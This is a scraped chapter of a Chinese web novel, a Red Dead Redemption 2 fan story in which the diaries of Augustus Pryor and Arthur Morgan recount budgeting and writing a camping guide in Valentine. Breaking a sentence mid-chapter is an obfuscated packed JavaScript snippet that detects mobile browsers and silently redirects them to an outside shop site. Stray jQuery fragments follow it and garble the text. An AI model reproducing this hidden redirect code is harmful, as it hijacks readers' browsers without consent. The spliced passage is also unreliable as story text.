文趣网 > 都市小说 > 游戏主角被我操作日常 > 第 72 章 预算
    第72章预算

    【……幻觉正在被自家大猫打猎养。】

    【奥古斯图斯·普莱尔日记】

    重返瓦伦丁第一天。深夜补录。

    又尝了酒,结论如前:不值。

    不好喝,影响思维,需要额外消耗专注力提升代谢来解,且能感觉到肝脏对此的意见。论解压不如冥想,论放松不如睡觉。看来以后我注定是那个专门拖醉鬼回去的人。

    不过,在一个几乎必定刷新醉鬼的地方观察人类行为,还是挺有意思的。尤其那晚剧情里还有经典台词:“蓝尼——”

    蓝尼只请我和亚瑟,但亚瑟如今是副警长,所以不得不请那三个平克顿和马洛伊;我这边还得抽空找莱文那作家,继续询问出版相关。所以完事后,亚瑟就顺手捞了他那新本子算账。我开玩笑说以后共同支出全交给他算,他嘲讽说养我不便宜。

    然后他顿了顿,认真地问我每月花多少。

    他这话出口,我视野里,他的钱包余额也蹦出来了。先自动对折,又开始自动加加减减,试图预测未来开支,闪得跟圣丹尼斯的霓虹灯似的。

    我很感动。也很激动。

    但我们还约了人,时间近在眼前,所以我被一脚踹去冲澡了。

    可恶。那钱明明是他抢我的。可直到现在,我依然处于嘴角压不下来的状态。

    晚上酒吧,气氛很松。考虑到亚瑟的肺部状况,我担任扯淡主力,蓝尼负责喝酒。几杯下去,平克顿们轮番抱怨路况、家庭和愚蠢的上司;马洛伊则满脸怨气,说文书工作太多、决策全是瞎指挥。共同点:都在为一个比他们更蠢的人卖命。

    于是,我临时修改计划,没单独找莱文,反把他拽来一起坐,引着他讲了那段“假伯爵收养真贵族养子”的故事——当然,是已经被我们编过几轮的版本。

    故事讲到那位伯爵“来自荷兰”的时候,亚瑟表情变得古怪,蓝尼也是,大约是想起了他们英明神武的老大达奇这名字意思就有“荷兰”,座下白化色阿拉伯马的名字也正好叫“伯爵”。

    我及时踢了踢莱文,算作提醒。他倒也不愧是那个支线任务里把卡洛威加工成传奇的作家,脸上毫无异样,立刻顺势把话题转回现实,向这两位征询素材。反正他们都提供了。

    最后,除了亚瑟和我,这伙人都喝大了,胳膊挽着胳膊跳起了康康舞。看着太好笑,我也加入了。亚瑟靠在吧台边装稳重嘲笑我们,于是我们顺势把他也拖了进来。

    他大概是高兴的。因为回去后我在清点行李,他在那画画——也可能是写日记。这家伙现在把那本子看得很紧,找不着机会偷窥。不过没关系,他现在

    写得更多,画得也更多,我迟早能得手。

    【奥古斯图斯·普莱尔日记】

    重返瓦伦丁第二天。

    一大早,我去找莱文,亚瑟和蓝尼出门。快中午时,亚瑟的钱包再度开始闪。先是进账一百七十五,过会又到账两个五十。下午他回到镇边,上浮到三百多。但当他回到房里,坐下喝水时,这天的余额已经缩水成了一百五。

    我以为他在那远程纳贡,结果他直接给我发了一沓钞票。正好补上那消失的一半,还有点零碎。

    问他这算是投资还是零花钱,他想了想,又额外发下二十块,说这才是我的,其他印书用。

    ……幻觉正在被自家大猫打猎养。

    为了重拾饲主尊严,我分享了我今天的工作进度:我们的小册子,已定名为《在篝火边醒来:城市居民的野营生活指南》。他很惊讶,说这像是个卖得出去的名字。我表示,它不仅会卖得出去,还会被视作专业书籍,一版再版。他非常怀疑。

    考虑到目前拿不出实绩来说服他,我就换了个方向,说虽然定稿之后可以直接送印,但要显得更专业,最好再虚构个出版社。

    他有点懵,懵完随口取了个火边社。我指出,既然书名已有篝火,重复略显浪费,荒野出版社似乎更好。他嫌听起来像是野地里印的,提议日落出版社。

    他喜欢日落我知道(附注,哪天可以约他一起看),问题是用作出版社名感觉很不吉利。我接着改成“实话出版社”,他说这名字本身就显得虚伪。同理,我们各自认为奥古斯好公司和亚瑟大王出版社蠢兮兮的。

    最终,勉强敲定为树下书坊。具体什么树暂且不管。初印量我提议六千册,他说我疯了,并建议我跟他学习**。

    真是个对商业一窍不通的马匪,怪不得会信达奇的演讲。但他说得没错,初版六千确实激进了些。于是我们退让一步,定为三千本,定价两**——略高于一毛到一毛五的杂志,低于两**五到五**的专业指南。

    估算如下:单本印刷成本五到六分,取中值五点五,印三千本共计一百六十五块;制版费约十五到二十五,按二十计;运输、分销和广告等杂费……初始总投资约为三百四十元整。如果售罄,按五五分账,我能分给亚瑟净利为一百三。如果卖出八成,只能分给他七十。

    ……见鬼,他刚都给了我一百七十多。

    本来还有点担心亚瑟看不上这点收入,结果他挠了半天下巴,神情竟然挺高兴。他说,这不是什么值得干上一票的大买卖,但好歹没人拿枪指着你,也不用你去指着别人。

    然后我们开始商量目录。

    这事儿远比想象中更复杂。我

    有来对另一个世界成功范本的印象,亚瑟则拥有这片土地上最实用的生存经验。我们从午后商量到深夜,最后达成共识:还是**省心省力。

    【奥古斯图斯·普莱尔日记】

    重返瓦伦丁第三天。野外取材第一天。

    蓝尼已在日出前悄悄返回营地。那三个平克顿仍把跟踪和监视装作偶遇。但无妨,我们终于敲定了目录,正式启动野外实验。正好,他们也可以被当作免费劳动力使用。

    他们帮我们搬水、探路,分担了一部分放哨任务,还在我们讨论“野外卫生处理”时发表了过于具体的意见。那段内容将作为附录收录。

    有意思的是,回旅馆路上,遇到了其他康沃尔的人。看来他们在草莓镇没找到什么,便如原剧情线一致的,追到瓦伦丁来。

    不过帮派早已转移,亚瑟并未被迫杀出一条血路,身份相当干净。当然,他对此并不怎么高兴。但除了发封电报提醒之外,他最明智的策略还是继续跟着我走。嘿嘿。感谢康沃尔。

    第一章起稿后,新的问题出现。亚瑟的句子太简单,我用的词汇太复杂。最后折中,他口述,我初稿,他再压缩长句、剔除冗词,并将部分术语建议替换为本地更常用的表达方式。

    紧接着是第二个问题——亚瑟对商业排版没有太多认知。我按现代段落逻辑整理内容,他则直接将一整页写满。我向他解释留白的重要性,他却告诉我,这样读者会觉得买回了满满一本字,更划算。

    说真的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15957513|145920||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,他差点就说服我了。直到我发现那些字堆得像赶马车。

    然后,规划“食物获取”章节时,亚瑟坚持加入鹿与兔子的处理方法,我则担心城市读者很难在野外成功猎杀,更别提处理尸体。何况,**也容易引来不必要的访客。

    最终我们达成一致:明天去问问那几个城里来的平克顿和康沃尔人,看他们的野外觅食极限到底在哪儿。

    附注:研究了美国地图与火车站分布图,发现科罗拉多州有一处大温泉。玻璃匠的货应在这几天交付。等我治好我的大猫(删除线)爱人,就可以着手搜集房产信息。

    此外,仍未想好如何甩脱达奇。考虑到原剧情中应有的平克顿警告与瓦伦丁逃亡事件均未发生,他现在八成走路都带风,下一次出馊主意的时间点近在咫尺。

    子在川上曰,逝者如斯夫,不舍昼夜。愿伟大的《抡语》保佑我,让我能抱着我的猫,安静欣赏敌人的尸体顺水漂远,一具不落。

    【亚瑟·摩根日记】

    履行承诺,试了皮带的另一种用法。勒得够呛。古斯说是我系得太紧。说下次可以帮我。我看是这小混账越来越变态了。

    [素描]-古斯和因克

    晚上酒吧很热闹。古斯负责胡扯,蓝尼负责喝。那几个平克顿和马洛伊不停抱怨自己的日子。然后古斯找来了那个姓莱文的作家讲故事。开口就是“荷兰伯爵”。见鬼。这就像在马戏团台上看着猴子扮成达奇。好在那套贵族烂账跟我们的事不挨边。

    最后他们都喝大了,搂着跳起康康舞。古斯明明没喝几口,也去凑热闹。还硬来拉我。(涂抹痕迹)说实话,这种不用担心谁会突然拔枪的夜晚很难得。

    最近这段日子挺怪。在营地里,一切都是生存、赚钱、逃命……但跟着古斯跑,却有种不同的感觉。也许达奇所说的自由不只有一种方式。

    [素描]-醉鬼康康舞

    【亚瑟·摩根日记】

    出门干活,拿了些钱。想起家(涂抹)古斯开销不小。除了他那巫术背包,从没见他正经挣过一分钱。回来给了他一半。他拿着钞票的样子蠢得要命。不靠谱得很。又给了他点零花。

    结果这混账说要印六千本书。见鬼。这比我一个人去**还疯。

    我们这本书,名字长得吓人——《在篝火边醒来:城市居民的野营生活指南》。听着倒是像能卖出去。但说实话,有几个城里人真愿意野营?为什么他们想从砖头房子里爬出来,到没有屋顶、满是野兽的地方自找罪受?还得搭个假出版社。这活该找何西阿,不是我。

    最后定了个“树下书坊”,印三千本,两**一本。古斯算了笔账,说全卖光我能分上一百多,就算只卖八成,也还有七十。

    比**轻松多了,风险也小得多。但说实话,这整件事怪得很。我,亚瑟·摩根,在写书?达奇要是知道了,准得笑掉大牙。或者更糟,他可能会把这事写进他的演讲里,反复提到。

    [素描]-小册子

    帮派回了电报。说湖边一切都好,达奇已有个万无一失的计划,要等我回去细谈。我打赌肯定是迈卡那杂种出的馊主意。

    不过我没打算立刻回去。起码得等这边的事有个眉目,或者再赚点钱。

    明天要继续去野外取材,再之后还要去圣丹尼斯。这活到现在一分钱还没入袋,但见鬼,我却真开始期待了。就跟当初期待黑水镇那笔大钱一样。真怪。